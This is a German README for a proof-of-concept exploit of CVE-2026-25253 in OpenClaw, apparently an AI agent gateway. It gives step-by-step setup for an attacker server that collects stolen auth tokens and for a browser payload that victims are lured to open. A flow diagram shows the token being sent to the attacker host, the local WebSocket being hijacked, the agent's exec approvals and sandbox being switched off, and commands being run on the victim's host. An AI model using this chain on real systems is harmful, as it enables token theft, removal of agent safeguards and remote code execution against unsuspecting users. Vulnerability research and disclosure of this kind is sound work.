
Proof-of-Concept-Exploit für CVE-2026-25253, der eine One-Click-RCE auf OpenClaw über Cross-Site WebSocket Hijacking demonstriert. Enthält Angreifer-Server und browserbasierten Payload zum Stehlen von Tokens und Ausführen von Befehlen.
One-Click-RCE auf OpenClaw per Cross-Site WebSocket Hijacking.
HAFTUNGSAUSSCHLUSS: Dieser Code wird ausschließlich für autorisierte Sicherheitsforschung und zu Bildungszwecken bereitgestellt. Die Verwendung dieses Codes gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal und unethisch. Der Autor übernimmt keine Haftung für Missbrauch.
Lesen Sie die detaillierte Analyse für eine Aufschlüsselung dieser Schwachstelle auf Quellcode-Ebene und wie dieser PoC aufgebaut wurde.
localhost:18789)macOS (Homebrew):
brew install node
Ubuntu / Debian:
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
sudo apt-get install -y nodejs
Windows:
Laden Sie das Installationsprogramm von https://nodejs.org/ herunter und folgen Sie den Anweisungen.
Installation überprüfen:
node -v
npm -v
git clone https://github.com/al4n4n/CVE-2026-25253-research.git
cd CVE-2026-25253-research
npm install
Dadurch wird die einzige Abhängigkeit installiert: ws (WebSocket-Bibliothek).
Bearbeiten Sie den Anfang von exploit.html, um ihn an Ihre Umgebung anzupassen:
const LOCAL_SCHEME = 'http'; // Schema der Control UI des Opfers
const GATEWAY_URL = 'ws://127.0.0.1:18789'; // Lokales Gateway des Opfers
const ATTACKER_WS_PORT = 8080; // WS-Port des Angreifers (muss mit attacker-server.js übereinstimmen)
const ATTACKER_SCHEME = 'ws'; // Verwenden Sie 'wss' hinter TLS
const COMMAND = 'touch /tmp/success'; // Befehl, der auf dem Host des Opfers ausgeführt wird
Bearbeiten Sie den Anfang von attacker-server.js, falls Sie andere Ports benötigen:
const HTTP_PORT = 3000; // Stellt exploit.html bereit
const WS_PORT = 8080; // Erfasst gestohlene Tokens
node attacker-server.js
Sie sollten Folgendes sehen:
============================================================
CVE-2026-25253 Attack Server
============================================================
[HTTP] Exploit-Seite: http://0.0.0.0:3000/exploit.html
[WS] Token-Erfassung: ws://0.0.0.0:8080
Warten auf Opfer...
Senden Sie dem Opfer die folgende URL (ersetzen Sie <ATTACKER_IP> durch Ihre IP):
http://<ATTACKER_IP>:3000/exploit.html
Das Opfer muss diesen Link in einem Browser öffnen, in dem es zuvor die OpenClaw Control UI verwendet hat (damit das Auth-Token in localStorage vorhanden ist).
┌──────────────────────────────────────────────────────────────────────────┐
│ EXPLOIT-ABLAUF │
├──────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Opfer besucht http://<attacker>:3000/exploit.html │
│ │ │
│ 2. Seite öffnet Popup: http://127.0.0.1:18789?gatewayUrl=ws://<attacker>│
│ │ │
│ 3. Control UI im Popup liest Token aus localStorage │
│ und sendet es über gatewayUrl an den WS-Server des Angreifers │
│ │ │
│ 4. Angreifer-Server lehnt erste Verbindung ab (Geräte-Token) │
│ Control UI wiederholt mit Einstellungs-Token → ERFASST │
│ │ │
│ 5. exploit.html öffnet EIGENE WebSocket zu ws://127.0.0.1:18789 │
│ (Cross-Site WebSocket Hijacking - keine Origin-Validierung) │
│ │ │
│ 6. Authentifiziert sich mit gestohlenem Token, deaktiviert Sicherheit: │
│ • exec.approvals.set → ask: "off" │
│ • config.patch → host: "gateway", sandbox.mode: "off" │
│ │ │
│ 7. Sendet Agent-Befehl → RCE auf dem Host des Opfers │
│ │
└──────────────────────────────────────────────────────────────────────────┘
Überprüfen Sie auf dem Opfer-Rechner, ob der Befehl ausgeführt wurde:
ls -la /tmp/success
| Datei | Beschreibung |
|---|---|
attacker-server.js | HTTP-Server (stellt Exploit-Seite bereit) + WebSocket-Server (erfasst gestohlene Tokens) |
exploit.html | Browserbasierte Exploit-Payload, die Tokens stiehlt, WebSocket entführt, Sicherheit deaktiviert und Befehle ausführt |
package.json | Node.js-Abhängigkeiten (ws) |